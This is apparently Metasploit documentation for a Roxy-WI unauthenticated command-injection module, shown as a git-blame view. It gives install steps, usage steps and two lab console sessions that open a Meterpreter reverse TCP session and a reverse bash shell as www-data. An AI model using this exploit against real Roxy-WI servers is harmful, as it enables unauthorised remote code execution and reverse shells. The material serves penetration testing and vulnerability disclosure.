2022-07-19 21:08:45 +03:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
### Description
|
|
|
|
|
|
2022-07-22 12:24:26 +00:00
|
|
|
This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0.
|
|
|
|
|
Successful exploitation results in remote code execution under the context of the web server user.
|
2022-07-19 21:08:45 +03:00
|
|
|
|
|
|
|
|
|
|
|
|
|
### Setup
|
|
|
|
|
|
2022-07-21 11:42:18 +00:00
|
|
|
Roxy-WI requires Python and a web server to run. Please visit following url to find out required python and other packages.
|
2022-07-19 21:08:45 +03:00
|
|
|
|
2022-07-22 12:51:40 +00:00
|
|
|
https://roxy-wi.org/installation.py#manual
|
2022-07-19 21:08:45 +03:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
git clone https://github.com/hap-wi/roxy-wi.git /var/www/haproxy-wi
|
|
|
|
|
chmod +x haproxy-wi/app/*.py
|
|
|
|
|
sudo ./haproxy-wi/app/create_db.py
|
|
|
|
|
chown -R www-data:www-data haproxy-wi
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Install the application
|
|
|
|
|
2. Start msfconsole
|
2022-07-19 15:44:52 -05:00
|
|
|
3. Do: `use exploit/linux/http/roxy_wi_exec`
|
2022-07-22 12:51:40 +00:00
|
|
|
4. Set `RHOST` to the address of the target Roxy-WI machine.
|
|
|
|
|
5. Set `LHOST` to the address of your attacking machine.
|
2022-07-19 21:08:45 +03:00
|
|
|
8. Run `exploit`
|
|
|
|
|
9. Do: `run`
|
2022-07-22 12:51:40 +00:00
|
|
|
10. You should get a shell as the user running the Roxy-WI server.
|
2022-07-19 21:08:45 +03:00
|
|
|
|
2022-07-21 11:42:18 +00:00
|
|
|
## Options
|
|
|
|
|
Set `TAGETURI` if the Roxy-WI is installed at a custom path.
|
2022-07-19 21:08:45 +03:00
|
|
|
|
2022-07-21 11:42:18 +00:00
|
|
|
### TARGETURI
|
|
|
|
|
The base path to Roxy-WI. The default value is `/`
|
2022-07-19 21:08:45 +03:00
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
```
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 > use exploit/linux/http/roxy_wi_exec
|
2022-07-21 11:42:18 +00:00
|
|
|
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 192.168.56.116
|
2022-07-19 21:08:45 +03:00
|
|
|
RHOST => 192.168.56.116
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > set RPORT 443
|
2022-07-19 21:08:45 +03:00
|
|
|
RPORT => 443
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > set LHOST 192.168.56.1
|
2022-07-19 21:08:45 +03:00
|
|
|
LHOST => 192.168.56.1
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > run
|
2022-07-19 21:08:45 +03:00
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.56.1:4444
|
2022-07-21 11:42:18 +00:00
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2022-07-19 21:08:45 +03:00
|
|
|
[*] Checking if 192.168.56.116:443 is vulnerable!
|
2022-07-21 11:42:18 +00:00
|
|
|
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
|
2022-07-19 21:08:45 +03:00
|
|
|
[*] Generating payload.
|
|
|
|
|
[*] Trying to detect command injection vulnerability.
|
2022-07-21 11:42:18 +00:00
|
|
|
[*] Sending stage (40164 bytes) to 192.168.56.116
|
|
|
|
|
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.116:37394) at 2022-07-21 13:49:23 +0300
|
2022-07-19 21:08:45 +03:00
|
|
|
[+] Exploit successfully executed.
|
|
|
|
|
|
2022-07-21 11:42:18 +00:00
|
|
|
meterpreter > pwd
|
|
|
|
|
/var/www/haproxy-wi/app
|
2022-07-19 21:08:45 +03:00
|
|
|
```
|
|
|
|
|
|
|
|
|
|
You can also use cmd payloads.
|
|
|
|
|
|
|
|
|
|
```
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 > use exploit/linux/http/roxy_wi_exec
|
2022-07-21 11:42:18 +00:00
|
|
|
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 192.168.56.116
|
2022-07-19 21:08:45 +03:00
|
|
|
RHOST => 192.168.56.116
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > set RPORT 443
|
2022-07-19 21:08:45 +03:00
|
|
|
RPORT => 443
|
2022-07-19 15:44:52 -05:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > set LHOST 192.168.56.1
|
2022-07-19 21:08:45 +03:00
|
|
|
LHOST => 192.168.56.1
|
2022-07-21 11:42:18 +00:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > set payload cmd/unix/reverse_bash
|
2022-07-19 21:08:45 +03:00
|
|
|
payload => cmd/unix/reverse_bash
|
2022-07-21 11:42:18 +00:00
|
|
|
msf6 exploit(linux/http/roxy_wi_exec) > run
|
2022-07-19 21:08:45 +03:00
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.56.1:4444
|
2022-07-21 11:42:18 +00:00
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2022-07-19 21:08:45 +03:00
|
|
|
[*] Checking if 192.168.56.116:443 is vulnerable!
|
2022-07-21 11:42:18 +00:00
|
|
|
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
|
2022-07-19 21:08:45 +03:00
|
|
|
[*] Generating payload.
|
|
|
|
|
[*] Trying to detect command injection vulnerability.
|
2022-07-21 11:42:18 +00:00
|
|
|
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.116:37396) at 2022-07-21 13:50:23 +0300
|
2022-07-19 21:08:45 +03:00
|
|
|
[+] Exploit successfully executed.
|
|
|
|
|
|
|
|
|
|
id
|
2022-07-21 11:42:18 +00:00
|
|
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)```
|
2022-07-19 15:44:52 -05:00
|
|
|
```
|